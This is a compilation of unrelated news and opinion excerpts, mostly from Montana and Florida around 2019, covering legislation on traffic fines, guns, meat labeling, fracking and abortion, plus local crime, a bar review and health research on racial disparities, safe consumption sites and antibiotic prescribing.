The amendment bill is expected to change driving in South Africa, with the biggest changes including:

Failing to pay traffic fines can lead to a block on obtaining driving and vehicle licences.

Where documents previously had to be delivered by registered mail, authorities will now also be able to serve documents via email and to send reminders via WhatsApp and SMS.

The option for offenders to elect to appear in court to challenge the prosecution has been removed.

A new demerit system will be introduced, with 1-6 points allocated for offences. If an infringer has more than 12 points, it will result in the disqualification of the driving licence.

Criticism

The amendment bill has been the subject of controversy, with a number of civil society group and legal experts stating that the bill is unlikely to have any of the intended impacts on South African driving habits.

The Aarto Bill will not have the desired effect of enhanced road safety as we have seen little change in road users behaviour during the Aarto pilot project run in Tshwane and Johannesburg over the past decade, said Rudie Heyneke, Outas transport portfolio manager.Huawei has announced that it is preparing to launch its cloud data service in Africa next month.

The company said it is working with South African partners to construct data centres in Johannesburg and, at a later date, Cape Town.

By launching its Johannesburg data centre in March 2019, Huawei said it would be the worlds first cloud service provider with an operational data centre in Africa.

Huawei Cloud has launched over 160 cloud services in 18 categories across the world, and plans to combine cloud and AI technology to launch innovative products in Africa.

If Cloud 1.0 is an era driven by infrastructure resources, then Cloud 2.0 is the era of cloud-native applications, driven by data and AI platforms, said Huawei Clouds Farouk Osman Latib.

With cloud and AI, we aim to provide enterprises, small and large, with one-stop AI platform services, enriching fine-grained APIs, adapting rich algorithms in diverse industry sectors and heterogeneous computing infrastructure so that everyone can use various artificial intelligence algorithms to solve practical problems.

Huawei said it cloud services based at its local data centre would be ready for trial use from next week.

Now read: Hetzner delivers impressive data centre power efficiencyThat would be concerning in cases involving a permit carrier who is suffering from mental illness, he said.

Most peoples concerns about firearms are that they fall into the hands of people who are not mentally stable, he said. And thats what we need to look at the hardest when it comes to creating a law such as this.

Muscatine's Big River Guns owner Scott Lucas's concern was ensuring the Constitution is followed.

"Well, I'm all about making sure Second Amendment rights are followed," said Scott Lucas, "and not to make more red tape over the Second Amendment with restrictions and so forth."

He said his shop on Park Avenue will still conduct background checks if the bill passes. He said he didn't know if the elimination of permit requirements would bring more business to his store because "people that can't get guns still won't be able to get them from the background checks."

Republican Gov. Kim Reynolds told reporters Tuesday that she still supports the 2010 shall issue bill, which she voted for while she was in the Senate. That bill standardized how gun permits are issued and included background checks and required weapons training.Brad Griffin, president of the Montana Retail Association, said the bill presented problems for grocery stores who can't reliably track if the meat they purchase is from Montana or the U.S.

"This needs to be a federal solution. It is far too complicated for one state to solve. It isn't a problem that can be solved at the end of the line by retailers," Griffin said.

Bonita Cremer, who has a cow-calf operation near Melville, also opposed the bill, saying it's "extremely unfair to expect the retailer to verify information they have no way of verifying."

Cremer said once cows leave her ranch for a feed lot and then slaughter house, the chain of tracking is broken. And if meat produced in Montana ends up labeled as otherwise, it could sell for less money and end up hurting her bottom line, Cremer said.

"I have no control over that as a producer of that calf," Cremer said.

The Montana Stockgrowers Association also opposed the bill. Jay Bogner with the association said while he agreed both sides shared the goal of increasing beef sales, he didn't think this bill would accomplish it.

The bill also has a legal note attached raising concerns it could have constitutional issues because of conflicts at the federal level.Just one more

A woman punched her boyfriend in the face and broke his glasses after he refused to stop drinking, police say.

Officers responded to a domestic disturbance at a residence in the 1300 block of Missouri Street late Tuesday night and found Sydney Rae Schmidt, 20, on the porch.

She told officers that she told her live-in boyfriend to stop drinking, and when he drank more, she punched him in the face, knocking his glasses off. He related a similar story.

Schmidt was arrested on a misdemeanor complaint of partner/family member assault and was still in jail as of late Wednesday morning.

Run away, run away

Police who were looking for a stolen car came across a man and woman walking in the Centerville area early Wednesday morning, and when officers stopped, the man took off.

They caught up with Carlos Jesus Martinez, 30, on Transit Street and discovered he was wanted on warrants from courts in Butte and Belgrade. As he was being arrested, police found a pipe on him that was used to smoke marijuana.A man tied to one of the largest stockpiles of stolen goods in recent memory in Butte pleaded not guilty Wednesday to a burglary authorities pinned on him because of DNA from empty Coca-Cola cans left at the scene.

Police found enough stolen items at a house Frank Reuben Medina had been staying at in 2017 to fill an entire U-Haul truck, prosecutors said, but they only recently tied some of them to a specific burglary because of DNA results.

Its the largest stash of goods I have seen, and Ive been doing this for 32 years, Undersheriff George Skuletich said Wednesday.

Medina, 38, was sentenced to five years in prison in September on unrelated drug and theft charges, the latter involving a stolen ATV, before new charges were filed.

He pleaded not guilty to felony burglary Wednesday before Judge Robert Whelan, who set the next hearing for March 13. Medina has another burglary case pending, too, involving allegations that he stole lumber from a forest cabin.

Burglary in Montana carries a maximum penalty of 20 years in prison and a fine up to $50,000.Rep. Alan Redfield wants to limit the definition of meat to products that are derived from slaughtered animals, so that Montana consumers will know exactly what theyre buying. In case youre not smart enough to figure it out for yourselves, I guess.

Lawmakers need not worry about that. When consumers reach for vegan meats, they know that theyre not derived from animals, who were imprisoned in filthy, overcrowded sheds; mutilated; and slaughtered.

Thats why theyre reaching for them in the first place.

They know that eating animal flesh can be deadly, too  that its linked to heart disease, diabetes, obesity and cancer, and that it contributes to climate change, pollution and other environmental problems.

So, theyre buying vegan meats, to the tune of $670 million in the U.S. alone. And 65 percent of the respondents to a Faunalytics survey said theyd be open to trying lab-grown meat.Medicaid expansion also helps those on probation and parole successfully find their way out of the system. Forty-five percent of the people we interviewed for our report, " Set Up to Fail: Montanas Probation & Parole System ," said they had a history of mental health issues and 61 percent reported issues with substance use. Many people noted that lack of access to treatment contributed to why they were involved in the criminal justice system in the first place and why they were having trouble meeting their probation or parole requirements. Medicaid expansion increases access to these services and makes it easier for people to find work and successfully exit the criminal justice system, ultimately saving the state vital resources.

Medicaid expansion substantially reduces the cost to the Montana Department of Corrections for providing certain types of care for incarcerated people. Montana is constitutionally required to provide medical care for those in its custody. The reduced costs for the MDOC extend to necessary treatment for mental health issues and substance use disorders. MDOC has saved over $8 million under Medicaid expansion. Furthermore, Medicaid expansion has increased vital services, including mental health care and treatment for substance use disorders, to Montanans in pre-release centers. Without this access to care, hundreds of people in pre-release centers would depend on the emergency room for all of their healthcare. That would shift costs to already financially strapped counties and cities, and would prevent many people from accessing that care. Decreasing access to care would likely funnel many who are in need of treatment for mental health or substance use disorders back into our prison system. We shouldnt be warehousing people with health needs in prison. Its counterproductive, and its expensive.HB 148 would mean that a proposal with strong bipartisan support, known costs and a legislative majority could have the proposal blocked by 17 senators. This is giving veto power to a very small group of legislators. It would also make it much harder to eliminate outdated or wasteful tax breaks for special interests. This is neither responsible budgeting nor functioning democracy. The supermajority required for state bonding has already prevented the passage of much-needed infrastructure bills, with bipartisan support, in the last two sessions

Finally, there is no great initiative to raise Montana taxes. Our marginal income tax rate 25 years ago was 11 percent, highest in the nation along with Vermont. It is now 6.9 percent. Property taxes are reasonable. We have no sales tax. No one is going bankrupt from vehicle fees. We have a tax code with many loopholes, but that is a separate issue. If you do not trust a majority of our legislature to address fairly any issue that arises, vote for someone else. That is the way democracy works.

If HB 148 will not solve a problem, while potentially creating several, what is the real motivation behind the bill? There are groups like Americans for Tax Reform that simply oppose taxes, despite the fact that they pay for our schools, roads, parks and public safety.Montana Farmers Union is a longtime supporter of country-of-origin labeling (COOL). MFU and National Farmers Union fought for years to label meat, both to give consumers a choice at the meat counter, and to aid U.S. producers, because when given the choice, consumers in this country will buy U.S. beef and not think twice.

The meat-packing industry has always fought against COOL, stating that consumers didnt really need to know what country their meat came from. However, we finally prevailed and a federal COOL law went into effect in 2013, but COOL was repealed for beef and pork by Congress during negotiations with the World Trade Organization.

Heres the thing: those meat-packing companies, the ones who always said COOL was an impossible, over-bearing regulation, never stopped labeling meat when the law was repealed! But the law was gone, and replaced by a rule that basically says any meat product that comes into a U.S. Department of Agriculture-inspected processing facility and undergoes a change in its structure can be labeled Product of the USA.It seems that every other TV commercial is for auto insurance. Save money on your car insurance by being a safe driver. Save here on auto insurance with just a few clicks.

State law requires us to carry auto insurance. But it doesnt do enough to require that insurance companies are fair about how they price these policies for us.

Those savings they promise arent as straightforward as the ads make it seem. The different rates you see when you compare companies has more to do with the ways insurance companies evaluate personal lives than what they see on your driving record. The insurers look at a variety of non-driving related factors to decide which customers pay more.

You could be a safe driver  never had a DUI, an accident, or even a ticket  but because you rode your bike this summer and opted out of using your car or needing insurance, you will pay over $500 more this year. Just because of a lapse in you insurance coverage. Thats what I found when I sought a quote from Progressives website. On the other hand, if a customer without a break in coverage reported a DUI, Progressives increase was only $36 for the year. Is a person with a coverage lapse 14 times more dangerous than someone convicted of driving under the influence?The public land in dispute was leased by the Wyoming-based company in 2007. It's located in a sparsely populated area dominated by ranching and mining.

Environmentalists sued after the expansion was approved, claiming climate change hadn't been fully considered. That led to a 2016 order for officials to re-examine the environmental impacts, and then another lawsuit when that study was completed.

Cavan agreed with the plaintiffs  WildEarth Guardians and the Montana Environmental Information Center  that officials from Interior's Office of Surface Mining had again "failed to take a hard look at greenhouse gas emissions."

The judge said the agency needed to consider the damages those emissions could inflict on society, as well as the human health impacts from other pollutants emitted by coal-burning power plants.

"They kept trying to diminish the impact of their actions," WildEarth Guardians' Jeremy Nichols said of federal officials. "This is the judge saying, 'You have to take responsibility for your action.'"

Department of Interior spokeswoman Faith Vander Voort declined to comment on Cavan's ruling.

Mining in the expansion area has been ongoing since 2012.The Montana Senate has approved a measure that would require providers to ask women seeking abortions if they want to view ultrasounds and listen to the fetuses' heartbeats.

The bill designed to make women reconsider having abortions passed the Senate 31-19 on Tuesday. It now goes to the House for consideration.

The measure would fine an abortion provider $1,000 for not giving a pregnant woman an opportunity to view a live ultrasound, an ultrasound image of the fetus and the heartbeat. It would require a patient to sign a form certifying that the provider made the offer.

According to the Kaiser Family Foundation, six states required providers to offer women the chance to view ultrasounds as of 2017.

Democratic Gov. Steve Bullock has vetoed four anti-abortion bills passed by the Republican-controlled Legislature in previous sessions.

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Click any reaction to login. Love 1 Funny 0 Wow 0 Sad 0 Angry 1Powell said she is speaking out because she does not want other students with different ideas to face the same hostility.

"I'm just trying to promote and expose a different viewpoint," Powell said. "And so it does make it incredibly difficult for students who are more shy and don't want to face the attacks from a professor and other students."

***

Powell said she is accustomed to debating ideas, but the students who confronted her in recent weeks crossed a line. She said she never felt unsafe and no one physically threatened her, but they swore at her and attacked her as a transplant.

She said she transferred to UM from the University of North Dakota because she wanted to join the political science department in Missoula: "These students were personally attacking me because I'm from North Dakota, which seems to be an issue."

Powell had been pleased that Turning Point, U.S.A., became an officially recognized club on campus last semester. She was volunteering to recruit members. She said she anticipated debates and isn't bothered by civil discourse.

"I think it's important to have these conversations, even if we do disagree," Powell said.In charting the way forward, UM might want to re-examine the humanistic tradition seriously and even to glory in it as our chief reason for being.

UM President Seth Bodnar has said the campus is spending 19 percent more per College of Humanities and Sciences student under his plan than it did from 2009 to 2013. He also has noted he himself is a product of a liberal arts education from West Point and believes in the value of such learning.

At the same time, last semester, the College of Humanities and Sciences took the largest cut in dollars and percent among UM's standalone schools and colleges. It was targeted to reduce by 20 percent its $19.7 million budget by 2021 (more details and numbers in the story linked above).

The Montana Kaimin also has this story about how the departure of libraries Dean Shali Zhang leaves UM with no permanent female deans. Women do serve as deans at UM, but they do so as interim appointments.Wall was at another Jewish family's house a few years ago when another piece of anti-Semitic literature was dropped off.

"It's scary, and it's also infuriating that we have to deal with this again," he said. "I'm definitely frustrated, just because I feel like the community is doing a really good job of trying to confront this.  But the fact that people feel like they have the support to do this is concerning to me."

Franklin, the Missoula rabbi, agreed. Especially so, she said, after the Oct. 27, 2018, massacre at a Pittsburgh neighborhood synagogue that left 11 dead and seven injured by a gunman. Robert Bowers, the suspected shooter, pleaded not guilty on Monday to 19 additional counts recently filed against him, including federal hate crime charges.

In Montana, a Whitefish real estate agent is suing the publisher of a neo-Nazi website who published contact information for her and her family and called his followers to action against the Jewish family. The online "troll storm" sent Tanya Gersh's family into hiding.

"You don't know who will be radicalized into action," Franklin said.A stop at the Buckhorn Bar in Augusta for lunch or dinner will get you a whole lot more than tasty vittles. Whatever you order, your meal comes with a nice helping of fellowship, especially if this is your first visit to the Buckhorn. Rest assured, by the time you leave most everyone in the bar will know your story and what brought you to Augusta. Its not about being nosy. Its just the nature of how small towns in Montana roll  reaching out to welcome you into their world.

This year marks the 60th anniversary of the Dellwo family owning the Buckhorn. Gordon and Frances Dellwo established the bar in 1959. Their son Frank and his wife Tammy would purchase the bar years later, and now their son Beau, when he takes over, will be the third generation of Dellwos keeping this Augusta legacy going strong.

In January 1974, the Buckhorn, which wasnt much of a building, burned to the ground due to an electrical fire. It was rebuilt in time to open for the Augusta American Legion Rodeo in June of 74, the busiest day of the year for the bar. Over time, a kitchen addition was added, making it possible to expand to the menu that exists today.

The menu is fairly typical of a small-town restaurant/bar and includes burgers, steaks, fish and chips, shrimp, chicken strips, chef salad and crispy chicken salad. Sandwich options include ham and cheese, chicken fried steak or a BLT sandwich. Both the onion rings and the jalapeno cheese tater tots get rave reviews. But the broasted chicken wins out as the customer favorite and is served with Jojos  fried potato wedges  and a secret white sauce for dipping. Im guessing the sauce is sour cream with chives and seasonings, but Tammy declares, Nope. The discussion ends there. After all, its a secret sauce.

Tammy sings the praises of their burgers due to the quality of beef, which comes from the Vaughn Meat Packing facility, a few miles to the east of Augusta. During the summer months, the bar will go through 200 pounds of hamburger in a week. On Wednesdays, a special is offered up, such as prime rib. Once a month, the Buckhorn features a Sunday brunch.

The interior of the Buckhorn pays tribute to Montanas western and hunting heritage. Overhead log rafters are covered with big game antlers and skull mounts. Scattered around the bar are tanned bear hides, a life-size wolf mount and a swan mount which generates considerable interest. Montana does have a legal hunting season on swans. The photography of longtime local Gus Wolfe adorns the walls, as well as memorabilia that speaks to the history and character of this small town. A small room in the back has a handful of gaming machines.

I chatted up two gentlemen who stopped in for lunch after a morning of ice fishing at Nilan Reservoir. They were very curious as to why I was photographing the Buckhorn. One was from Conrad and the other fellow from Shelby, to which I threw out Ive been there  its pretty flat. I loved his reply. You have to get out and walk to see the pretty. Id only been in the Buckhorn for 30 minutes, and already I had two new friends!

I took an instant liking to Tammy, whose infectious, bold laugh reverberated frequently throughout the interior. Tammy credited her father-in-law Gordon Dellwo, for making the Buckhorn the successful operation it is today. He used to drive all over the state handing out his business cards and inviting folks to stop by the Buckhorn, Tammy said with affection. She shared a story that Gordon told frequently. It involved a priest who came down from Choteau to conduct Mass in Augusta. The roads were very icy, and he ended up in the ditch. John Fugaro, who happened to be plowing the highway, stopped to help and asked, Father are you OK? Father replied Yes. God was with me." John declared, You better let him out of the car before you kill him.

You wont find your meals at the Buckhorn served on white linens and artfully plated. Most entrees are served in colorful plastic baskets lined with parchment paper. But if you have a desire for a mouth-watering cheeseburger, served up with a heaping amount of small-town talk on essential issues such as the weather, price of cattle and where the fish are biting, then The Buckhorn is your ticket.

The Buckhorn opens at 6 a.m. every day for coffee only. If youre desperate for a drink, you need to wait until 8 a.m. to wet your whistle. Food service starts at 11 a.m. The bar stays open until 2 a.m., although in the winter months, it tends to close earlier.

You can get homemade dessert, but only with their Wednesday specials. Otherwise, for those craving something sweet after lunch or dinner, walk next door and pick up a maple bar at Allens Manix Trading Post. The frosting is killer good!

Donnie Sexton, who retired in 2016 after a long career with the Montana Office of Tourism, currently freelances as a travel writer and photographer, covering destinations around the world. TheLastBestPlates.com is a digital destination that serves up Montana's tasty food, travel and culture stories  one bite at a time.

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In this March 29, 2013 photo, workers tend to a well head during a hydraulic fracturing operation at an Encana Oil & Gas Inc. gas well outside Rifle, Colorado. BRENNAN LINSLEY AP

Both House and Senate committees voted positive on bills banning fracking Wednesday afternoon, but only one left those in the environmental community content.

The House bill, put forward by the Agriculture and Natural Resources Subcommittee, passed without an amendment environmentalists say was necessary in order for them to support it.

The amendment, filed by Rep. Evan Jenne, included language that defines matrix acidization as part of the definition of fracking.

Matrix acidizing is performed by pumping acidic fluids into a well at a pressure low enough to often not be considered fracking by definition. Operators use acid to dissolve minerals and bypass formation damage around the well.

Rep. Holly Raschein, who filed the bill, said it wasnt her intent to slip daylight past a rooster.

This is not the only time this bill is going to be heard, the Key Largo Republican said. Today we didnt want to have a knee-jerk reaction. This is a very important issue, a complex issue and one that I do not take lightly.

Gov. Ron DeSantis made fracking bans a priority this year after he unveiled sweeping measures to protect Florida's vulnerable aquifer and clean up the state's water supply.

Jenne, a Dania Beach Democrat, explained that because Florida is largely a porous plateau of limestone, matrix acidizing could be the most likely fracking technique to be used in Florida.

This bill would work in other states due to their geology, Jenne said. But here, it is somewhat different.

While Representatives discussed their proposed committee bill, Sen. Bill Montfords bill, which included language to ban matrix acidization, passed in the other chamber.

Environmentalists cheered for the Senate bill, but showed their disappointment with Rascheins bill, saying hers leaves an enormous loophole in allowing matrix acidizing.

They said if the bill is in the same shape by the time it hits the House floor, groups like Kanter  which recently won a permit to drill in the Everglades  could technically frack the already vulnerable land.

Were happy with what happened in the Senate, and disappointed but not overly surprised by what happened here in the House, said David Cullen, a lobbyist for the Sierra Club. Its very disappointing and indicative of significant hostilities against what we are trying to accomplish which is to protect the health of Floridians and the health of our water-based economies.

Michelle Allen, the Florida organizer of the Food and Water Watch, said the bill as it stands, only deals with half the fracking problem.

Matrix acidizing works by using chemicals so powerful they dissolve rock formations underground to get to oil deposits, and in doing so, exposes our water to toxic leaks, she said. Experts have said the cocktail of toxic chemicals known for contaminating water and endangering public health is nearly the same for matrix acidizing and hydraulic fracturing.

Jenne said he plans to continue filing amendments as the bill moves through its next committee stops.

Were far from done on this, he said. Its a long haul, but were not going to go anywhere and we are going to fight every inch of the way to make sure of that.

Jenne added that aside from the matrix acidization loophole he would have wholeheartedly supported the bill.

I would have jumped up and down and sung everyones praises in the room, he said.SCOTT KEELER | Times 20 protesters participate in a Die-In on the fourth floor rotunda of the Florida Capitol, 3/6/18. They continue to push for an assault weapons ban. Lawmakers in the Florida House were debating a gun/school safety bill at the time. A bill that would allow Floridas teachers to carry guns in schools passed its first committee along party lines Tuesday, setting up what could be one of the most heated debates of the 2019 legislative session.

Senate Bill 7030 expands the Guardian program created by last years post-Parkland bill, by which school staff can volunteer to carry guns on campus and then be screened and trained by local law enforcement. In current law, teachers that exclusively perform classroom duties" are ineligible to participate.

But this new expansion would remove that prohibition. An amendment to once again remove teachers from the program was proposed by Sen. Lori Berman, D-Lantana, but it also failed along party lines in the Senate Education Committee.

Students deserve to have someone ready, said Sen. Dennis Baxley, R-Ocala during the committee meeting, shortly before he voted against Bermans amendment. Certainly if youre charged with their safety we should not ask them to charge hell with a water pistol, stand there and be a victim with no way to defend yourself or others from harm.

The committee room was packed on Tuesday as groups including the state teachers union and Moms Demand Action spoke against the bill, citing the many risks associated with bringing more guns on campus. There have already been instances of guns accidentally being fired or being left in school bathrooms for students to find in other states, they said.

Sen. Bill Montford, D-Tallahassee, said the state has not allowed enough time to evaluate the current success arming school staff but is charging ahead with expanding the program anyway.

"Were at the verge of considering a monumental change in public education, he said. "We are shifting the mission of public education from being one of teaching to being one of teaching and law enforcement.

Montford did, however, successfully add an amendment to the bill that gives school superintendents the authority to approve or reject specific teachers who want to be armed in their districts.

The Republicans who supported the bill emphasized that this proposal is based on the recommendations of the Marjory Stoneman Douglas High School Public Safety Commission, which has spent months reviewing the footage and failings of the Parkland shooting nearly one year ago. That commission, led by Pinellas County Sheriff Bob Gualtieri, formally recommended training teachers to carry weapons in school for a quick response to school shootings.

If the teachers at Marjory Stoneman Douglas High School had the opportunity to be guardians they would be alive today and so would many other students, said Sen. Kelli Stargel, R-Lakeland. That sends chills up my spine.

The chair of the committee, Sen. Manny Diaz of Hialeah, also pointed to the fact that many teachers who take on additional duties, such as being a hall monitor or sponsoring a club would already be eligible to carry a gun under the current law. This bill simply just removes the piece that says they have to have an additional duty, he said.

It was unclear Tuesday whether the bill would have any additional committee assignments. None were listed online, but Diaz speculated it could head to Senate Appropriations to determine how different pieces would be funded. If not, its next destination would be the Senate Floor. The formal legislative session does not begin until March 5 and lawmakers are only meeting in committees in the weeks leading up to that date.

In addition to allowing all teachers to be eligible to carry guns, Senate Bill 7030 also increases state oversight over districts compliance with the various school safety measures in last years post-Parkland bill. It also would require sheriffs to offer training to school staff if the school district decides to opt-in to the program.Boston pediatrician Dr. April Inniss has read the studies. She has reviewed the reports. She's spoken with colleagues. She has even done her own research.

Yet the information remains shocking to her, flying in the face of her medical training and even, seemingly, common sense: "Black women with a college education or greater have higher infant mortality rates than white women who have a high school diploma," said Inniss, who is black. "The numbers are really startling."

A report last year from Duke University examining the issue of infant mortality showed that babies born to black women with doctorates or professional degrees are about three times more likely to die than babies born to white women with only high school diplomas or GEDs.

"Not only does the black-white disparity for infant mortality exist at all educational levels, it is greatest for those with a master's degree or higher," the report concluded. "Further, the (infant mortality rate) is highest for black women with a doctorate or professional degree."

Those disparities are part of a broader disturbing health anomaly: Studies show that even as African-Americans gain more advanced degrees or move up the income ladder, their health outcomesacross a variety of diseases and ailmentsare typically worse than their white counterparts.

A report published last year in the journal Healthcare said although "Whites and African-Americans both gain physical health as their income increases, this protective effect of income against (chronic medical conditions) is larger for Whites than African-Americans."

Another study published last April was even more sobering. A look at employment and health trends over a 25-year period, from 1986 to 2011, showed white adults had longer life expectancy gains through employment than their black peers.

The evidence of disparities is clear. But the reasons are not, said Dr. Keith Churchwell, senior vice president and executive director of Heart and Vascular Services for Yale New Haven Hospital in Connecticut.

"I'm not sure we have a definite answer of why there is still a persistent difference" between African-Americans and their white peers, he said.

"The question would be, do you have the same access to health care? Do you have the same access to follow-up? Are the medications you are taking for the reduction of your cardiovascular risks as effective as they are for white people?" said Churchwell, who chaired an American Heart Association task force last year on health equity and social determinants of health.

New research indicates that racism could play a large role in these disparities.

"A lot of us think that chronic worry about being exposed to racism, either that you will be or a loved one will be exposed, that is a very likely contributor to high-education, high-income blacks having worse health status than their white counterparts," said Dr. Paula Braveman, professor of family and community medicine at the University of California, San Francisco.

She noted that her own study investigating the role of worry and racial discrimination in preterm birth rates revealed some surprising information.

"What we found in this recent study is  that black women who said they worried often or very often (about being treated unfairly because of race), they were twice as likely to have a premature baby," Braveman said. The research included more than 10,000 women and was published in 2017.

Inniss, founder of eekMD, a health education program for children, is not surprised by Braveman's findings. Her own father died of complications from diabetes and hypertension at age 57.

"I still think the toxic milieu that we live in  has made it tough," Inniss said. "We're fish in a toxic ocean. And I don't think the ocean is going to be cleaned up in my lifetime."

Explore further Higher risk of sudden cardiac death among African Americans may be associated with income, education disparities

American Heart Association News covers heart and brain health. Not all views expressed in this story reflect the official position of the American Heart Association. Copyright is owned or held by the American Heart Association, Inc., and all rights are reserved. If you have questions or comments about this story, please email editor@heart.org.A new qualitative study from the Johns Hopkins Bloomberg School of Public Health identifies several key lessons from early efforts to establish sanctioned safe consumption sites in five U.S. communities. The results offer insights on one approach some localities are exploring to address the escalating drug overdose crisis in the U.S.

Through interviews with key informants, the researchers identified strategies for organizing around this issue and engaging the community, as well as facilitators and barriers to progress.

The study was published online February 13 in the journal Psychiatric Services.

"We wanted to understand the environment in which these policy change efforts are occurring," says lead researcher Alene Kennedy-Hendricks, Ph.D., assistant director of the Johns Hopkins Center for Mental Health and Addiction Policy Research and a faculty member in the Bloomberg School's Department of Health Policy and Management. "Study participants emphasized the importance of engaging diverse partners to organize around safe consumption sites, elevating the voices of people who use drugs in these discussions and framing the need for this harm reduction approach in terms of racial justice."

Safe consumption sites, also known as overdose prevention sites or supervised injection facilities, are places where people can use pre-obtained drugs under the supervision of trained staff who can intervene and prevent fatal overdoses. No sanctioned safe consumption site exists in the U.S. but policymakers in at least six states, including Maryland, California, Colorado, Massachusetts, New York and Vermont, have introduced legislation to establish safe consumption sites, and at least two citiesPhiladelphia and Seattleare working to establish these sites without state legislation. These policy discussions have been controversial within the communities where they are being considered and potentially conflict with federal law. For example, federal prosecutors are currently suing to stop plans in Philadelphia to open a site.

For the study, the researchers interviewed 25 participants from five jurisdictions over the phone from April to July of 2018. Study participants were asked about their strategy for changing policy to sanction safe consumption sites, organizing efforts, community engagement, facilitators of progress and barriers to adoption. Participants included community organizers, harm reduction advocates, local government officials and health and social service organization leaders from jurisdictions considering implementing safe consumption sites. The researchers identified initial study participants in each jurisdiction and then recruited additional participants on the basis of initial interviews. Researchers identified common themes that emerged in the interviews.

One of the most commonly reported barriers to establishing these sites was developing an approach to respond to federal action, given federal law prohibiting the operation of spaces for the use of drugs. This concern also has created challenges in identifying the right location and physical structure for the site. Financing remained a challenge, although at least one community had allocated public funds for this purpose. Several communities emphasized efforts would only be successful if trust was built among communities of color, given the precedent of racially discriminatory drug policies in the U.S.

Participants from communities that already had well-established harm reduction programs, such as syringe services or scaled up naloxone distribution programs, said that those programs gave them a solid foundation on which to build support for safe consumption sites. These communities seemed to have an advantage since existing policies, programs and partnerships had been established. Researchers also found that securing political and community champions was critical in advancing policy on this issue. Community members who were trusted and respected by their neighbors and championed safe consumption sites helped improve local residents' understanding of the purpose of these sites. Visits to safe consumption sites in areas outside the U.S. (specifically Vancouver, British Columbia) by local government officials and key community members helped to reduce opposition.

Most jurisdictions reported that engaging a diverse set of community allies helped in building a broader coalition and stronger connection to policymakers. The community leaders who participated in the study all viewed establishing safe consumption sites as part of a broader, comprehensive strategy to respond to the devastating scale of the opioid epidemic. Co-author Colleen L. Barry, Ph.D., MPP, professor and chair of the Bloomberg School's Department of Health Policy and Management, notes that advancing harm reduction measures, including safe consumption sites, is viewed as an important strategy for connecting people who use drugs with evidence-based treatment, social services, housing support and other services to make positive changes that reduce the risks associated with using drugs.

Participants reported that organizing people who use drugs and involving them in policy efforts is critical, and some locations were involving drug-user unions in these efforts. Pressuring policymakers to take a stand on safe consumption sites during campaign events was viewed as an effective strategy.

"This study brings to light the realities of how such an innovation could be implemented, the nature of the stakeholders and the complexity and uniqueness of each city's process," says Susan Sherman, Ph.D., MPH, professor in the Bloomberg School's Department of Health, Behavior and Society and the paper's senior author. "It provides insight into the community-specific distinctions and important commonalities across these jurisdictions."

"We have an approach here that other countries have found helpful in reaching a marginalized population that faces high rates of mortality," says Kennedy-Hendricks. "A key question now is which jurisdiction will open the first sanctioned safe consumption site in the U.S. Their experience as an early adopter will inform efforts around the country."

More information: Alene Kennedy-Hendricks et al, Establishing Sanctioned Safe Consumption Sites in the United States: Five Jurisdictions Moving the Policy Agenda Forward, Psychiatric Services (2019). Journal information: Psychiatric Services Alene Kennedy-Hendricks et al, Establishing Sanctioned Safe Consumption Sites in the United States: Five Jurisdictions Moving the Policy Agenda Forward,(2019). DOI: 10.1176/appi.ps.201800398A new study of antibiotic prescribing finds that one-third of patients discharged from 48 Michigan hospitals for pneumonia or urinary tract infections received prescription for a fluoroquinolone antibiotic -- a powerful group of drugs that carries the risk of serious side effects. The rate of prescribing the drugs was higher at hospitals that reported they were making an active effort to reduce inpatient fluoroquinolone prescribing. Credit: University of Michigan

Even as hospitals try to cut back on prescribing powerful but risky antibiotics for their patients, a new study shows that many of those patients still head home with prescriptions for those same drugsincreasing their risk of everything from "superbug" infections to torn tendons.

In fact, the hospitals that said they are actively trying to reduce use of a group of antibiotics known as fluoroquinolones were twice as likely to discharge patients with a new prescription for one of the drugs in that risky group.

In all, one-third of the patients studied received a fluoroquinolone prescription at the end of their hospital stay, despite the fact that current guidelines call for restricted use due to side effects.

And across all 48 Michigan hospitals in the study, discharge-related prescriptions accounted for two-thirds of the entire fluoroquinolone supply prescribed to the nearly 12,000 patients treated for pneumonia or urinary tract infections. The drugs accounted for 42 percent of all antibiotics prescribed at discharge.

"Fluoroquinolone antibiotics are easy to use, but carry a lot of risk for patients and society at large," says Valerie Vaughn, M.D., M.Sc., lead author of the new paper and a hospital medicine specialist at Michigan Medicine, the University of Michigan's academic medical center. "These results show we need to focus on not just their use in hospitals, but also in the prescriptions that we send patients home with. Discharge prescribing is a big loophole."

Vaughn and her colleagues report the findings in the journal Clinical Infectious Diseases. The data come from the Michigan Hospital Medicine Safety (HMS) Consortium which brings together hospitalist, general internal medicine and infectious diseases physicians from across the state to improve the care of hospitalized patients.

The data come from patients treated for pneumonia or UTIs over a nearly two-year period ending in fall 2017. That includes the first nine months after national organizations began requiring hospitals to have a program for tracking and reducing use of antibiotics.

Called antimicrobial stewardship, such programs stem from a need to curb the rise of "superbugs" or bacteria that evolve to resist treatment and threaten patients' lives.

A risky family of antibiotics

Fluoroquinolones include name-brands like Cipro and Levaquin as well as generic antibiotics whose names end in "floxacin." They have been especially linked to the rise of drug-resistant organisms, and to potentially life-threatening gut infections with an opportunistic microbe called Clostridiodes difficile.

They've also been linked to ruptures of Achilles tendons, to dangerously low blood sugar levels in people with diabetes, and to mental health problems including disorientation and delirium.

The U.S. Food and Drug Administration (FDA) has issued several "black box" warnings about their side effectsmost recently in December with a warning that fluoroquinolones could cause rupture of the aorta, the huge artery leading from the heart to the rest of the body.

That warning suggests doctors should not prescribe the drugs to the elderly, people with high blood pressure and people with a risk or history of aneurysms.

Smarter choices needed

The new study focuses on pneumonia and UTI because the two conditions account for almost half of antibiotic use in hospitals. Most patients with these conditions are cared for by hospitalists or general internists, rather than infectious diseases specialists who mainly focus on the most serious cases.

In all, more than 10 percent of patients in the study were switched to a fluoroquinolone antibiotic when they were discharged.

While fluoroquinolones are just one group of antibiotics that doctors can choose from, Vaughn notes that they do carry the advantage of being able to treat a broad spectrum of infectious organisms, and to be used in patients who are allergic to penicillin.

They also come in pill form, rather than needing to be delivered intravenously, which makes them much more attractive for discharge prescriptions.

But if patients are getting through their hospitalization without them, then they're likely not the right choice for treatment after they leave the hospital, says Vaughn.

"When patients first come in to the hospital, doctors don't typically have test results to show what's causing their infection," which could guide antibiotic choice, Vaughn explains. They also may not know if the patient is allergic to penicillin.

"But by the time they're leaving you have more results and historythe most information you're going to have about them," she adds. "This makes the discharge prescription a great place for stewardship programs to intervene, and to make antibiotic choice more of an active thought than an afterthought."

Next steps

